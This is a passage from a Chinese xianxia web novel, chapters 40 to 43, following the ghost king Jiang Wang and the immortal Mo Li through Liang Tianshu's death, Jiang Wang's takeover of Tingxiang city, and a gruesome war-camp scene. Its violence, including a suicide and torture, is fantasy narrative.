可他们都知道,梁天疏就是梁霁。
回应她的,还是那低哑的声音,
“听香城气数将尽,万般起源皆是一个‘梁’字。我没有脸缩在千里漠,端坐高台之上,坐视不理。”
说罢,他起身,向外走去。
“师父,三十六年了,梁霁想活过来看看。”
看看为他复仇的,那个人。
40. 第 40 章
暴雨如注,闪电从天边打过来,骤然照亮了梁道长瘦削的脸。他转头看向保护罩下那个身姿飘逸,容貌过分艳绸的仙君,认真问道,
“陌离仙君,这样的因果,你可满意?”
能否让你有所明悟,顺利飞升呢?
陌离沉默,没有回答。
梁天疏便看向了天边,希望能看到天门大开,登仙阶现。
曾几何时,他最大的梦想便是有朝一日修为大乘,在整个南界的恭贺声中,手提赤乌,飞身登上仙阶。
如今,能看一看别人的也是好事。
可惜,过了很久很久,暴雨仍然不要命地下着,除了不时轰鸣的雷声,并无半点异样。
……
陌离仙君历劫失败了。
梁霁笑了一声,却也不怎么觉得遗憾。
所谓大乘,所谓“仙君”,都不过是他很早之前的愿望了。
也是啊,他觉得自己很可怜,别人却不一定这么觉得,甚至会不会觉得他在无病呻吟,觉得他早该在三十六年前就死了呢?
毕竟,你看,南界第一仙君陌离仙君,可是对他可笑的一生没有半点感触呢……
不过,现在也不晚。
梁道长轻微地挪动了一下小腿,然后缓慢却坚定地站了起来,那薄纸般地身躯愣是抖都没抖一下。
雨下得那么大,他满头长发粘连在背上胸前,身上的黑袍也早就破烂得不能看了。可即便这样,他站起来的时候,腰背也挺得笔直。
他抬起还剩袖子的那条胳膊,张开五指,另一只手则在心口前捏诀,还在滴水的眼睫勉力睁开,看向张开的那只手。
雷声滚滚,黑袍道长侧眸召剑,那身影隐在密织的雨幕里,看不清,却让人不禁心生敬畏。
不多时,远处南方的上空,一声悲鸣般的剑啸隔着暴雨传了过来,然后就是嗡嗡嗡的响动。
江妄疑惑地与陌离对视。她可是亲眼看着梁道长把剑折了的,断剑怎么可能回应主人的召唤?
还没等江妄想清楚缘由,一把泛着血红光芒的三棱剑就出现在他们眼前。
那把剑亲亲切切地绕着梁天疏转圈,不时发出呜咽。而梁道长也软了神情,任那剑撒娇够了,才一把握住了剑柄。
他以一种极其眷恋的眼神看着手中的剑,那神情把江妄活活吓了一跳。
江妄听他对着剑说道,
“对不起啊,赤乌。”
此话一出,那把叫赤乌的剑嗡鸣战栗,好像极为激动的样子。直到梁天疏把另一只手抚在剑刃上,摸出一道血痕后,赤乌才停了下来。
原来,这赤乌,才是梁道长的本命剑。
之前那把毕宿并不是他的本命剑,却在他手中能发挥那么强的威力,可见这梁天疏真是千百年难得一见的剑道天才了。
江妄心想。
她静静地看着梁天疏动作,并未做出任何制止的举动。
杨万缕最后剖出内丹输送给梁天疏的灵力,为他织出了两条手臂。
正是这两条手臂让梁天疏能召来本命剑,能举起剑……架在自己脖颈上。
赤乌仿佛认命了一般静静地贴在主人的脉搏上,剑身红色光芒缓慢流转。
都说那年梁家覆灭,梁小少爷身死,可他那早修出剑灵的本命剑赤乌却不见踪影。
其实赤乌没有走远,就在主人的院落里,巨树下,深埋沉睡。
主人修为被废,再也无法召唤它。可它一直在等它的主人,有一天能重新找到它,拿起它。
可是后来,那颗巨树枯死了,它被主人用手挖出泥土的第一刻,便被主人架在了脖子上。
现在,它能被主人千里召唤而来了,却还是……
它真的,快委屈死了。
雨幕中执剑颈间的黑袍人自然能感觉到,手中灵剑的委屈难过。可他只能低声,一遍遍说,对不起。
当年树下挖出的剑,已经举至脖颈,却没能死成。梁天疏漫无目的地看着远处,雷云翻滚,冥紫江水骤然涨起千层楼高。
天边有多远?好像没有尽头。
是两个时辰已过,
阵起了。
他闭上了眼睛。
这次,梁天疏又一次举起了这把剑,没有半点犹豫地拉开了喉管。
红色灵剑上流转的光芒彻底消失,取而代之的是,粘稠鲜艳的血液。
啪,裹满艳红的剑落在了地面的水洼里,溅起了一片红色的弧度。
死亡,是他时隔36年的解脱。
……
阴差出现带走了梁天疏。
道长的黑袍终于是整洁的了,江妄也终于看见了梁霁本来的面貌。清润俊朗,双眸黑亮。黑衣也不再衬得他阴冷,反而是精致贵气。
不像是梁天疏,而是梁小少爷长大了。
最后一刻,他犹豫着回头,遥遥看了江妄他们一眼。
江妄回以了一个大大的笑容。
于是,某自封鬼王对着人家正经地府公务员喊话道,“这我家小孩,你们多照顾着点儿!”
阴差被她喊的,脚步更快了些……
不过,江妄的话多少是产生了那么一点作用。比如梁天疏端着手中的碗,不想喝下孟婆汤的时候,就格外顺利。
梁天疏站在桥上,不住看着桥下顺流漂下的魂魄。那里面,会不会有他的树呢?
可是哪怕他跳下去找,也肯定是找不到的。
所以,还是不要忘记了。
他情愿背负着这一世的不堪过往,不断回首。这样的话,来世,他也许还会再见到他的树。
梁天疏真心实意地笑了,跟随排队的魂魄走向了有光的那边。
……
可他并不知道,杨万缕早把魂魄给了谏往镜,再也不会有转世了。
梁小少爷再也见不到他的树了。
--
依听香城最大灵脉而建的,那座豪华讲究的大宅子,早已在一夜之间被一把火烧成了灰烬。那块地皮已经被人买走,但买的人却暂时还没来得及着手修复。
或者说,它的下一任主人估计也不想再建成住宅了,毕竟,两遭灭门,“风水”实在不好。
所以这种时候,再去考虑这破碎宅子姓“梁”或是姓“乔”,好像已经没有任何意义了。
而此时,这堆废墟里的,某一个还大致能辨别出形状的院落里。站着两个与这里画风严重不符的人。
正是那个一身白衣的鬼王和好看得跟假人似的陌离仙君。
江妄蹲在树下好像在填土坑,而陌离就站在她旁边……神游。
不过这次还真不能怪陌离不干活,主要是,这些事一个很简单的法术
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就能搞定。江妄却非得自己动手。
陌离除了表示尊重,以及在她身边聚起灵力照亮之外,也不能做什么。
好在,不过一会儿,江妄就拍拍手起身。托海情的福,她那身白得过分的衣裙没沾上半点泥土。
她总算想起还有陌离这号人似的,转过头看向他,好像随口一问,
“公子,你这劫好像失败了呀。”
……
飞升历劫是历心。
古来历劫者主动往事儿上撞,是因为大多数修士或多或少都会因为一些事情而产生心绪变化。
等到那引起历劫者心绪变化的事情圆满了,该历劫者就能成功飞升。
那陌离现在没有飞升,就可以说明:陌离仙君心性冷硬,历经此事内心没有丝毫波澜。
但,也还有一种可能——
就是,陌离的历劫事件,即最先引起陌离心绪产生变化的事件。早在张扶风死前就开始了。
而那件事,还没有了结。
……
陌离很平静,没有任何情绪一般,听到江妄的话也没什么反应。他只是用那双琉璃般的眼睛,专注地看着江妄。活像个小脑萎缩听不懂人话的痴呆患者。
当然,最后那一句是江妄自己的想法。
江妄便不再执着于与他交流。
也没什么可交流的了。毕竟现在,不清楚的人也该弄清楚了。说破又能怎样呢?
……元婴境的陌离仙君根本杀不了她。
江妄满心嘲讽地想。
夜已深了,陌离手中那点灵力光团并不足以照亮整个院子。不过废墟也确实没什么好看的。
江妄抬起手,最后向那颗枯树,轻轻祭拜了一下。
“走吧,公子。现在回去还能睡个好觉。”
这一次陌离没有继续呆滞,也靠过去,学着江妄的样子抬手全了礼数。
然后,他自然而然地,牵住了身边白衣姑娘的手。
“回去吧。”
没有人再去纠结陌离的劫数成功与否,好像他们来到这里,只是徒作了这场血泪悲剧的观众。
而接下来往哪走,怎么走,也全部未知。
他们身后,那堆废墟就那么安静地趴在黑夜里,不知道什么时候会被彻底清理。
……
风传焦意,残垣断壁。
庭中巨树已无生息,化作灰烬不过时间而已。
而他脚下的泥土里,埋着两把剑。
和他的少爷梁霁。
--
南界三城惨案告破,凶手树灵杨万缕在被捕途中反抗,已被鬼王处死。
听香城致信千里漠,大赞片云观梁天疏道长高义薄云,视南界众生为亲子,以除魔卫道为己任。为诱出真凶甘被误解,血洒公审台,不畏生死与邪魔斗争,壮烈牺牲。
玄风宗亦发文哀悼梁道长。
前任香主“绛楼弥勒”乔洒松,自就任以来与多团伙人贩子勾结,买卖炉鼎以供各色听香楼上下修炼,与邪修无异。鬼王已彻查,释放无辜受害者,并予以补偿。
听香城三香主一掌事惨死,再无高修,绛楼基阵因鬼王查案被毁。遭此浩劫,封城修复,暂停一切对外事宜。
至此,听香城,由鬼王江妄暂代管辖。
无人异议。
……
41. 第 41 章
江妄这个鬼,没钱还爱消费。说是鬼王,威武霸气的很,可惜她的鬼界穷的叮当响,一块灵石都掏不出。
她嘴上说鬼和人需求不同,说没必要与人类统一货币等等,诸如此类对金钱十分不屑的话。
可是呢,整个南界毕竟是人修的天下,鬼类想要找个夹缝合法生存,又怎么可能用不到人类的货币呢?
其实,实际的情况就是——
到处都缺钱……
江妄愁死了快,她是实力大乘南界无敌,可也不能硬抢啊。那就不是让鬼界合法了,那是逼全南界剿鬼。
可就是这么巧,打瞌睡有人送枕头。
听香城不就是南界最赚钱的一块大肥肉吗?
而现在这块大肥肉正正好好掉在江妄嘴里。
听香楼修合欢道,本来就亦正亦邪,作为执法宗门多有争议,现在又因着乔洒松彻底被贴上邪修的标签。一时间老老实实,不愿出头,巴不得有人出来挑大梁。
玄风宗作为汝陵、溢庆两城的执法宗门,自然对引起惨案的源头听香城十分不满。又因两城夹一城的地理优势,想要借机讨伐听香楼,把听香城吃下。
遥岑宗当作不知,宿芳宫正在打仗,整个南界静待听香楼接下来的命运。而听香楼的高阶修士又被杨万缕杀了个遍,基阵还没完全修复,面对玄风宗哪里有还手之力?
所以,他们在覆灭的危机前,选择了江妄。
而江妄也乐得接手这个大麻烦。
瘦死的骆驼还是比马大,江妄一边恢复听香城的经济,一边,将大量的灵石运往暄妍战场。
于是,听香城虽免了一场必死之战。
却也正式搅进了鬼界和宿芳宫的斗争里。
……
--
自从梁天疏死了之后,江妄一直在忙听香城的事,而江大宝和路清嘉一直守在暄妍一线,有事只是通信。
江妄自觉分身乏术。
陌离也是神龙见首不见尾,很多时候都看不见人影。
但有时候江妄一回头,又能突然发现他站在自己身后……
综合陌离种种行径,江妄觉得自己和他比起来,更像个人。
江妄也不管他,随他去了。
倒是她随手捡来的小姑娘天赋异禀,很多简单的事情能帮上江妄不少。
比如,不留痕迹地杀个人。
在江妄越来越慈爱的眼神中,小白俨然成了听香楼一霸,兼……江妄御用大总管。
这天,大总管白悦又跑到江妄面前,
“陛下姐姐,你在忙吗?”
江妄笑着抬头看她。
白悦:“陛下姐姐,外面有个自称段云烁的人,非说认识陛下,要求见您呢!”
怕是那天公审,见到自己认出来的吧。江妄头疼的捏了捏眉心。
“您不想见我去回绝了他!真是,怎么什么人都想见我们陛下,也不看看自己……”
“好啦好啦,麻烦我们小白陪他走一遍阵法,让他进来吧。”江妄摆手笑道。
待见了段云烁,江妄还笑着问他“嫂子可好?”,臊得段云烁脸红一阵白一阵的。
段云烁自然是以受害人家属的身份,来问凶手被捕经过的。
江妄笑着和他说了,最后又着重说杨万缕死了,让他放心。
段云烁又颤抖着问,那杨万缕是怎么死的。
江妄神色不变,说那魔头死时万般不甘,痛不欲生。
……
段云烁走的时候满目含泪,对江妄千恩万谢,拜了又拜。
看来是放下了。
“为什么不告诉他,他父亲段勇的死,是自作孽?”陌离不知道什么时候又站在她身后,此时突然开口问道。
江妄早就见怪不怪,看都没看陌离,懒洋洋靠在座位上答,
“因为我也不知道,段勇是否该当死罪,以那样的死法。陌离仙君熟读南界律法,你觉得呢?”
“……”陌离沉默了。
“看来,聪慧如陌离仙君,也不知道如何回答。那我猜,段云烁就更不知道答案了。”
“况且,我说了,他就会信吗?不会的。
一个与父亲感情深厚的大孝子绝对不会相信,他敬爱的父亲会做出这样的事。他会发疯,会歇斯底里地质问我。等冷静下来后,又开始痛苦地折磨自己。”江妄晃着小腿,声音很轻,
“嗯……他根骨还算可以吧,也够努力,没必要一直思考一个跟他无关的问题。”
“人生在世,哪有那么多执着非要放不下的事?哪怕是血脉相连的亲人,如果不值得,也不该成为前进路上的阻碍。”
……
江妄的话意有所指,说罢轻轻挑了下眉。
陌离果然神色微动,他从江妄身后绕到前面,一错不错地盯着江妄道,
“你在雪境看见什么了?你找到谏往镜了。”他以一种肯定的语气。
江妄却没有回答他的话,一别脸转过头,不与他对视。她抬起手看着自己苍白的指尖,大大方方岔开话题,
“公子,这两日你的腰牌有异,我猜……遥岑宗找你呢?”她噙着笑又转回去与他对视,
“找你干嘛呢?”
“……”
“行了,没逼你说。你出去吧,我还有的忙……”江妄垂下眼睛,无所谓地说道。
“江妄。”陌离叹了口气,终是细细解释了。
“不是什么大事,是我师侄原汀举行结婴大典,宗主叫我回去参加。你……好像不太喜欢他,我就没和你提起。”
“就这些?”江妄绕着腕间的海情,“原昭鸿不是叫你少和我玩儿吗?”
“你怎么……”陌离下意识开口,想问江妄怎么知道的,却正对上江妄了然的笑容。
……
他又叹了口气。
他轻提了一下减翠剑柄,露出一小段剑刃,然后快速用拇指抹了一下。
霎时,金露阁内燃气一阵浅淡的血腥气。陌离单手掐诀制作了一小个空间隔离,在那些裹着灵光的血液滴在地毯上之前,把它们接住。
江妄支着下巴看他自残,一副新奇的神色。
然后就眼见着陌离取出个小盅,把血液引导里面,端给了她。
……
陌离举着那个盅不动,江妄木着脸只好开口,“干嘛?”
“这不是一般的血。比上次还要好。”陌离只是这样说。
是呢,江妄也知道。
这人是南界第一高修,自身血肉本就大补,如果他不反抗,自愿以身饲魔,能被魔、鬼、邪修一哄而上吃个干净。字面意义上的吃干净,骨架都剩不下。
更何况……这是一盅融了他修为的血液。
“我又不是变态。”江妄眼神幽深地说完,下意识咽了一口口水。
陌离又把血液举得更近了,他没说什么反驳的话,但那动作明晃晃就是在说:你是。
……额。
天看见了,地看见了,门口折回来的小白看见了。我是被迫的。
江妄摇着头接过了罪恶的血液。
……
江妄一边砸吧着嘴回味,一边狐疑地看向陌离,然后……被他的美貌晃得有点头晕。
过了好一会儿,江妄才找回自己刚才的想法:
这人,也有点太上道了吧。
她都没什么成就感!
哼。
更生气了。
……
于是,生了气的鬼王陛下更加不讲道理。她抬起胳膊,纤细食指指着陌离的脑袋,命令道,“你,出去!”
陌离只好掏出个解阵香瓷瓶,把还在流血的拇指按在瓶口,一副很不想揭开瓶口的模样。
江妄:……半点儿心软都没有。
她嫌来往麻烦,又根本不怕有人来找事儿,便直接让人把金露阁的香阵废了。
而她找来废阵的人,正是现在掏出个瓷瓶装模作样的陌离……
江妄看见他就来气,“你再装,就把手里瓷瓶吃下去好了!”
……?
!
不是哥们儿,真吃啊!!!
等江妄把抽风的陌离按住,搜刮干净他乾坤袋里所有早已失效的瓷瓶,把他扔出金露阁后。已经筋疲力尽了。
然后她一转头,就看见小白在墙边蹲着,一手无意识扣着墙上的灵石,一手……嗑瓜子儿。
……
江妄脑子
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嗡的一下,突然幻觉自己不但没死,还成家了,顺利得到没用的废物丈夫一个,还有继承丈夫智障基因的傻孩子一枚。
幸亏死了。耶。
“白白啊,你过来。”江妄一脸慈祥地招手。
白悦听了立刻扔掉手里的瓜子站起来,颠颠儿地朝着江妄跑过来。
“陛下姐姐!你叫我呀!这次杀谁?!”
看得出来是很兴奋了。
江妄微笑,“小白,咱们打个商量,下一次嗑瓜子,不要用嘴嗦手指可以吗?”虽然小姑娘挺可爱的,但她一个没修灵力不会清洁术的巫师,嗦手指是不卫生的啊啊啊啊!
“哦。”没接到任务的小白肉眼可见的蔫儿了下去。“陛下姐姐现在跟我妈似的。”她小小声嘟囔了一句。
“你说什么?!”江妄真的快裂开了。这孩子以为自己鬼王是白当的,真的听不见吗?!
“没呀,没说什么呀,陛下姐姐最美最厉害了,白悦最喜欢陛下姐姐啦啦~”
“……”算了,也不想听她再说一遍。江妄深吸一口气,“除了这个,还有一件事,小白,答应姐姐好不好?”
江妄严肃叮嘱道,
“最近就老老实实待在金露阁,不要出门。”
“不好。”小姑娘嘟着嘴,很果断地拒绝了她。
“什么?!”江妄眼珠子快瞪出来了,现在已经到这种程度了吗?熊孩子果然不能太惯着。
“因为,我已经和妈妈爸爸说好了。不回去的话,他们会伤心的。”还没等江妄爆炸,小白就对着手指委屈巴巴地解释说了。
“你父母?你们怎么联系上的?”江妄皱起了眉。
“从陛下姐姐救了我之后就一直都能联系上了啊。”她一脸无辜地看着江妄,
“是我跟他们说,我现在跟着鬼王大殿做事,前途无量!等以后当上大官儿,让他们等着我衣锦还乡……”
“可是最近他们总催我回去,好像我再不回去他们就崩溃了。唉,也能理解吧,他们可能是以为我被什么邪教组织洗脑了……”
“……”
江妄也不知道该说什么。她一直以为这孩子没有爹妈呢。
白悦体质特殊,阴到极致。估计是肉身形成的时间、地点等等全部为阴,又是女身,才会让她有这种这阴中之阴的体质。
这样的体质天生通灵,很适合去当术士。也很容易被修邪功的人盯上,抓去当炉鼎。当然……
也是做厉鬼的“天赋型选手”。
……抛开这些不谈。
正是因为白悦特殊的体质,江妄这个鬼王能一眼看破她的生死气运——从她把白悦救回来,这孩子脸上就一直萦绕着浓浓的死气,好像马上就要死了。
一开始,江妄只是以为是因为被缃楼拐去做炉鼎,大难过后还没来得及恢复。后来,白悦脸上的死气稍微淡去了些,江妄就更没在意。
可是现在,这么久过去了,她脸上还是死气弥漫。这就不对劲儿了。
小白,死期将至了。
所以,江妄才叫她别出门,能躲就躲一躲,万一躲过了呢……
而且她也不能不让人家回家啊。
再说,只是回家应该也不会有什么危险。何况还有她这个鬼王护送。
是的,江妄打算亲自送白悦回去。
听香城这边大致已经稳住了,不需要她一个鬼时时盯着。
而且,昨天李甜甜已经回来了,就是那个乔洒松的头号亲信,江妄曾经“亲封”的代理香主。
是江妄亲自去城门口接的她。
人界的事,还是人去管吧,争来斗去,最后总有赢家。江妄一个鬼,只为求财,还真能帮他们打一辈子工吗?
……
白悦知道江妄要陪她回家之后,先是呆了几秒,然后跳起来反复对着江妄确认,得到肯定答案后,笑得跟朵儿花似的。
江妄也笑着。
——如果知道自己要死了,都会想要回家看看的吧?
就像她。当时拼着一身残破灵脉,一步一步挪到冥紫江畔,在那里听了很久很久的雷声。
她用最后一口气,穿过冥紫江大阵,回到北界。
最后死在了寒星门。
42. 第 42 章
宿芳宫内讧失了翡菊长老边茂。而巧的是,边茂一党也在剿鬼中尽数惨死于鬼相之手。翡菊一宫是彻底废了。新任襄竹长老季晞,临危受命,一人扯起了宿芳宫驱鬼炼魂的大旗。
季晞修为不详,亦无人能查出其底细,就像突然之间凭空冒出来似的。广为人知的只有,他生的一对金眸,性情残暴疯癫,动起手来甚至敌我不分。上位第一天就残杀同门数人,还妄言要“揽尽天下”。
可就是这样一个行事癫狂无状的人,却能使得一手宗师级的驱鬼炼魂。
只这一点,他再如何,宿芳宫宫主也得捏着鼻子把他供起来。
这狂悖之徒放言,自己能收服天下第一的大乘境厉鬼为鬼仆。他说那就相当于自己有了大乘境的实力,让人尊称他“仙君”。如若有人敢不毕恭毕敬喊一声“季仙君”,他便要直接杀人。
这样的人,简直就是邪修。
可宿芳宫默许了。真是南界几百年来最大的笑话。
非常时期,行非常之事,用非常之人。道理确实是这个道理,也正是因为这样,没有人去要求处于战火中的宗门行事完全光明磊落。
而且,那些不反对剿鬼的修士在某种程度上,其实是很敬佩季晞的——佩服这人找死的胆量。
天下第一的大乘境厉鬼,说的不就是江妄?
竟公然放话要将鬼王炼成鬼仆,真是……胆大到一种不可思议的地步。
总之,这位“季仙君”因为各种原因,一瞬间就在整个南界出了名。
可这狂徒却并没有被鬼王报复,反而好好地活着呢。也让无数人揣测季晞的真实实力,是不是强到连鬼王都忌惮呢……
然而,就是被传得这么厉害的“季仙君”,在战场上却半点儿都没使出他的“神威”,任由宿芳宫被鬼将鬼相压着打,连个人影都没出现。
……原来那些还对驱鬼功法有期待,抱有侥幸的人也都统统认命,屈服在鬼王的淫威之下了。
除却襄竹宫,整个暄妍城已经无一人再使用类灵气产品,或是豢养鬼仆。
于是,暄妍战火稍歇。
鬼界与暄妍战事的第一阶段,以宿芳宫损失惨重、江妄等大获全胜暂告一段落。
……
--
暄妍城郊。
夜色浓黑至极,百里荒芜中只有鬼气森森的大帐里氤氲出暖黄色的光来。可这样的光亮在这种时候,非但不能给人带来一丝安慰,反而因环境而显得分外诡异。
更别提……这大帐中还不时传出一阵阵高亢的,疑似人类声音的凄惨嚎叫。
大帐应是临时搭建,外观十分简陋,连挡布都是生硬拼凑,长短不一。可这挡布的质地倒是出奇的好,虽然颜色不好看,但胜在油润有弹性,此时还能透出帐中的光,看着就十分暖和。
而帐中却是另一番景象,足以让任何一个精神正常的人看过后患上厌食症。
帐顶倒吊着一圈人,有的活着,有的已经没了生息。而他们下方也就是大帐中央架起了一口大锅,锅中正发出滋啦滋啦的炙烤声。大锅的旁边竟有一张被血污浸透的案板,上面还有一把砍刀和一块巨大的鲜肉,此时那肉块还不时抽搐着弹动。
然后,一个挽起袖子的男人竟徒手抓起那案板上的肉块,两手撕扯后,将肥肉的部分几下掷入大锅中,然后就满手鲜血地抱手,享受地听着锅里滋啦声响。
吊在棚顶还活着的人再也受不了眼前这般景象,纷纷哭骂喊叫,呕吐了起来。
锅前那个男人突然大笑,凭借一己之力止住了此间所有哭喊。他拎起了案板上那把大砍刀,晃了晃。
就在此时,大帐的挡布被一阵阴风吹起,一把青色纸伞旋入,带着帐内也刮起一阵风。一瞬间,帐内油灯被就狂风吹灭了几盏,被吊着的人或是尸体噼里啪啦掉了下来。那口大锅也被掀翻,流出了锅内的油和几块已经焦了的肥肉。
那些获了自由的人,但凡还能动,根本顾不上身上剧痛,扒开身边的尸体,爬起来就要往外跑。然而,就在他们即将冲出去的时候,帐帘又一次被掀起。
一只修长秀美的素手伸进大帐,轰的一下鬼气弥漫开。那些人瞬间被击倒,昏死过去又和那些尸体倒在一起了。
江大宝挑起帐帘,一脸冷肃,青伞嗖的一下回到了她手里。
“你在做什么?”
她环顾四周,视线在那些油灯上停留了几秒,柳眉蹙得更深,面上露出厌恶的神色。“路清嘉,你是否做得太过了!?”女鬼厉声斥道。
而那个戴着银翼面具的“男鬼”丝毫不以为然,闻言还维持着那个抱胸的动作站着,微不可查地轻嗤了一声,
“这些人都练驱鬼功法,最喜欢用鬼榨出类灵力点灯。今天他们落到我手里,便让我拿他们点灯。有来有往,这是我的礼貌。”
……江大宝一时间竟找不出话来反驳,只好缓了语气,“你最近到底是怎么了?“
路清嘉抬起沾满鲜血的手按了一下面具,以一种夸张的语气道,“啊?什么怎么了?”
“你说怎么了?陛下是下令要我们解决掉那些顽固不化的敌人,但给个痛快也就算了。你……何至于做到如此?”
“呵。你我皆为鬼,做什么同情人类?再说了,江妄那么疯,看到我这么做,不该是要奖我吗?”面具遮不住的唇弯到了一种邪肆的弧度,他语气阴阳不明,声音尖得发腻。
明明已经怪异到了极点,可江大宝却一点也没有察觉异常,反而对他故意找的理由听得认真。
她便真以为路清嘉是为了讨好江妄。于是她解释道,
“那你是一点儿都不了解陛下。陛下绝不是残暴之人,她以雷霆手段清扫暄妍,固然是报复襄竹宫驱鬼之仇。但她,也有她自己的道理。”
男鬼笑了,顺着她的话,“是这样啊,那我确实不怎么了解江妄,但我了解你不就够了?”
“……你胡乱在说什么?而且就算你不畏惧陛下,也不该直呼其名,这可是大不敬。”女鬼还是那么认真。
面对这种人,路清嘉也不知道该说什么了,只敷衍笑道,“行了行了,好姐姐。下次我改了。”
江大宝睨了他一眼,显然也是不信,又叮嘱道,
“你最好是真的改了。上次叫你看个人你也没看住,现在又总这般行事……
陛下深谋远虑,很多事情不能只看表面,如果你再这般虐杀修士取乐,坏了大计,陛下绝不会容你。到时候我也保不住你的。”
……
且看现在的暄妍,只要能炼化厉鬼收为己用,就相当于拥有了高阶修士的实力。哪里还有人愿意正经修炼?
这些没有修过身,没有道心约束的人,却全部掌握了可怕的实力。这件事情本身,就是个灾难。
照这样下去,过不了多久,整个暄妍城,就会沦为一个名副其实的魔窟。
宿芳宫那个宫主虽然糊涂,却不可能不懂这个道理,只是被捷径迷了眼睛。毕竟,他自己从不驱鬼。
所以遥岑宗这么轻易地支持江妄独立鬼界。
因为这是一场划算的交易——
消除驱鬼这种倒行逆施之举,是整个南界正道都希望的事情。
由暄妍的宿仇鬼王动手,师出有因,就算鬼把暄妍人杀尽了,左不过一句“天道轮回”。而要是其他宗门联合去剿灭驱鬼功法,那势必绕不开宿芳宫,两边打起来,性质就完全变了。
宿芳宫再怎么说也是暄妍地区的执法宗门,直接动手,让民众怎么想?
更重要的是,一个不小心宿芳宫被灭,暄妍地区的状况只会更糟,从歪风邪气,直接变成了混乱无序。
更何况,宿芳宫也不完全是驱鬼,只有襄竹宫仿着驱魔殿的功法,棘兰、醉梅二宫皆是正统修士。若是贸然剑指暄妍,这些人就可惜了。
这样的事,不能冒进,不便讨伐,正道做不来。非得是江妄这样不讲道理的,才可能达成最理想的效果。
……
江大宝继续说,“我们杀的人,无一不是仗着鬼仆肆意行事,满身业果。陛下她不是真的敌视人修,她只是要屠暄妍的恶。”
“是么?”路清嘉这次倒没有张口讽刺江妄什么
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,只是低声叹了一句,
“可是她错了。因为,罪恶的不是暄妍城,更不是什么驱鬼功法。
——是人心。”路清嘉笑了,笑得冷冽。
江大宝恍惚之间似乎看见,路清嘉面具下那双清润的大眼睛里闪过了残忍的金色光芒。再回神细看的时候却没有了,错觉一般。
只听那个总是傻憨憨的青年,此刻精明凉薄地道,
“人心肮脏,古来如此。她江妄就是屠尽天下,也改变不了这一点。”
……
--
听香城,绛楼金露阁。
“什么?你要跟我们一起去俍业?”江妄一脸意外地问陌离。
陌离正在把金露阁大床上的被褥卷起打包,
“那地方人使不出灵力,还是多准备些东西的好,省得夜间寒凉伤了风。”
“……”
我的哥啊,你是说你一个修为早已大乘的仙君怕冷,还是说我一个最爱夜间行动的厉鬼怕冷啊……
陌离总是让人很看不懂。
不过江妄早就把他当病人关爱了。
她笑着挑明,
“你真的不明白吗?我是在给你时间回去。”
原昭鸿既叫他回去了,那陌离回去一趟也好。
再说,这人毕竟是南界仙君,遥岑是他的师门。就算他在历劫,也一定有该做的事情,该担的责任。这一点,江妄再清楚不过了,她没道理碍着陌离,也不会碍着他。
可她没想到,这人非要跟着她们。
难道他不清楚自己的飞升劫到底是什么吗?
呵。
她明明在给他最后的机会。
回遥岑之后,是交代后事也好,是想办法联合南界众高修杀她也好。是劝遥岑带头与鬼界和平共处,还是劝说遥岑加入剿鬼……
总是她给他的机会。
也是她对他最后的一次仁慈。
可这人偏偏不珍惜……
不仅不珍惜,他还不知好歹地招惹江妄,露出脆弱白皙的脖颈尤嫌不够,又主动送到江妄的屠刀下。
陌离停下手里的动作,浅色眼瞳清清看过来,
“是要回去的。不过我已经和他们说,把原汀结婴大典的时间往后挪了。到时候我们从俍业出来,”他不知想到了什么,竟浅浅笑了。
金露阁中灵光并不明亮,只是柔和地流淌着。陌离仙君本就是南界绝色,此刻垂眸浅笑,长睫的阴影在他眼下垂落一片,比金露阁里奢华暧昧的一切还要让人醉生梦死。
他声音传金江妄耳朵里,是近乎失真的温柔。他说,
“到时候,我们一起回去。”
“……”
江妄记得自己很久没发疯了,要不是此刻异化般往外冒的鬼气,她几乎快要忘了自己还是个厉鬼呢。
然后,还没等江妄理清楚自己的思维,想明白自己要做出什么举动。眼前那个快要看不清了的人影,不知道什么时候移动到自己身前了。很近。
那道很高的身影抱住了她。
那些皮肤,江妄能清晰地感觉到它们下面滚着温热的血液。而此刻,它们与她凝实后的虚假人皮挨在一起,每个毛孔都大方地张开,毫不犹豫地接纳她身上不断渗出的阴凉鬼气。
江妄便把头搭在他肩上。她嗅了嗅,是熟悉的气息。她安静下来,思维还不是很明晰,但并不耽误她吓唬人,
“如果你使不出灵力,不怕被我杀了吗?”
“?”
陌离想歪头看看江妄,但江妄枕着他的肩膀,他转头也看不见她的脸。他犹豫着抬手,还是大着胆子摸了摸江妄的头。
他揉了很多下,手法像在撸什么毛绒灵宠,好久之后他才想起来要回答一下,
“你不会杀我的,江妄。”
他肩上的脑袋含糊反驳,“你怎么知道我不会?我可是鬼王!”
陌离把手从毛绒脑袋上拿下来,双手环住了怀中女鬼。
他把这个比铁还冰的鬼紧紧搂着,像是妄想用血肉将其融化,
“哦。那你杀吧。”
43. 第 43 章
明日就要去俍业了,小白兴奋得不行,满大街采购,说是要给亲戚朋友带听香城特产。
江妄抱手随意靠在一家商铺的门框上,挥退了诚惶诚恐上前要给江妄免单的管事。
开玩笑,没被认出来就算了,都被认出来了,她是一定得付钱的,而且是一个子儿都不能少地付,可不能再接受赠送,合理砍价了。
毕竟,她现在在听香楼这崇高的身份,这光辉的形象,这无与伦比的地位!是经不起一点点黑料的侵蚀的……
不过主要还是她现在不怎么缺钱。
江妄大鬼王一夜暴富,不靠自己……
全靠陌离。
虽说一开始江妄接手听香就是为了钱,可那是听香城和鬼界的交易,一颗灵石也没进江妄自己的口袋。简而言之,江妄还是那个兜比脸干净的真·穷鬼。
所以小白叫她出门的时候,她都算了好幻化的灵石什么时候失效,打算卡着时间卷铺盖跑路。
没想到临出门陌离叫住了她,递给了她一根镶碧玉的秘银簪子。
“这什么?送我的?”江妄对陌离送的礼物向来是来者不拒,开开心心接过了。她拿在手里左右翻看了一会儿,却越看越觉得眼熟。
诶?这不是……
“你减翠呢?”江妄往桌子上瞧,又看了看已经卷起被褥的玉床。
都没有。
陌离对待减翠并不像一般剑修对待本命剑那样万分宝贝,就差供起来。他经常随手就放,导致总是找不到,芝麻大的金露阁里还要捏诀召剑。
“我劝你找找吧,一会儿我和小白出门买东西,额……总之,我们随时可能会启程。”说到启程,江妄看着那一大坨锦被卷儿头都大了,实在忍不住道,
“你别弄那些没用的了,俍业那地方没有灵气,储物戒这些全部都用不了,就算你放进去也取不出东西……除非你自己扛。”
“你愿意扛也不行!”江妄赶紧接上一句,堵住陌离刚要张开的嘴,“你不要脸,我还嫌丢人呢!!”
要是带着这一大堆累赘去,到底是拜访还是逃难啊?
“……”
陌离不说话了。他默默走到床边,微弯下腰,把扎好的锦被拆开了。
江妄总算舒了一口气,她看着陌离动作,状似不经意地道,
